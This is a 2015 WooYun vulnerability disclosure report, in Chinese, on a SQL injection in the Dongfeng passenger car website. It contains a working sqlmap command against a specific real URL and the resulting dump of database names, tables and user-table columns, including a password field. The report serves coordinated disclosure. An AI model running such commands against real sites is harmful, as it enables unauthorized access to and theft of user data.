当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145852

漏洞标题：东风乘用车官方网站（东风风神）SQL注射漏洞/影响10库

相关厂商：东风日产乘用车公司

漏洞作者： 冷白开。

提交时间：2015-10-10 18:03

修复时间：2015-11-26 08:58

公开时间：2015-11-26 08:58

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-10： 细节已通知厂商并且等待厂商处理中
2015-10-12： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向核心白帽子及相关领域专家公开
2015-11-01： 细节向普通白帽子公开
2015-11-11： 细节向实习白帽子公开
2015-11-26： 细节向公众公开

简要描述：

那么多东风的站。。。我都看晕了

详细说明：

sqlmap.py -u "http://www.dfpv.com.cn/fs/pressroom_retrieve/1444378873.html" --data "email=safe3q%40gmail.com&realname=88952634" --dbs

1.png

脱出数据证明问题

available databases [10]:
[*] activityax7
[*] ax7game
[*] dealerdfyl
[*] information_schema
[*] jac_weixin
[*] mysql
[*] qrvote
[*] shen
[*] shen_a30
[*] shen_langsong
Database: dealerdfyl
[33 tables]
+-----------------+
| tAbout          |
| tActivity       |
| tAgency         |
| tBoard          |
| tCar            |
| tCarAgency      |
| tContact        |
| tDna            |
| tHistory        |
| tHonor          |
| tJob            |
| tJoin           |
| tMaterial       |
| tModel          |
| tModelAgency    |
| tModelMaterial  |
| tModelSale      |
| tPictures       |
| tPromotion      |
| tService        |
| tSession        |
| tStaff          |
| tTypes          |
| tUser           |
| tUserAgency     |
| tUserEmail      |
| tUserLast       |
| tUserMobile     |
| tVisual         |
| tVisualBAK      |
| tVisualSpots    |
| tVisualSpotsBAK |
| tagency         |
+-----------------+
Database: dealerdfyl
Table: tUser
[14 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| agency   | int(11) unsigned      |
| avator   | varchar(255)          |
| city     | int(4) unsigned       |
| email    | varchar(63)           |
| gender   | enum('male','female') |
| id       | int(10) unsigned      |
| mobile   | varchar(31)           |
| name     | varchar(31)           |
| nick     | varchar(16)           |
| parent   | int(11) unsigned      |
| pwd      | char(32)              |
| role     | tinyint(1) unsigned   |
| status   | tinyint(1) unsigned   |
| updateAt | int(10) unsigned      |
+----------+-----------------------+

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-10-12 08:56

厂商回复：

漏洞不是我司负责范围，请乌云联系《东风乘用车公司》。@疯狗

最新状态：

暂无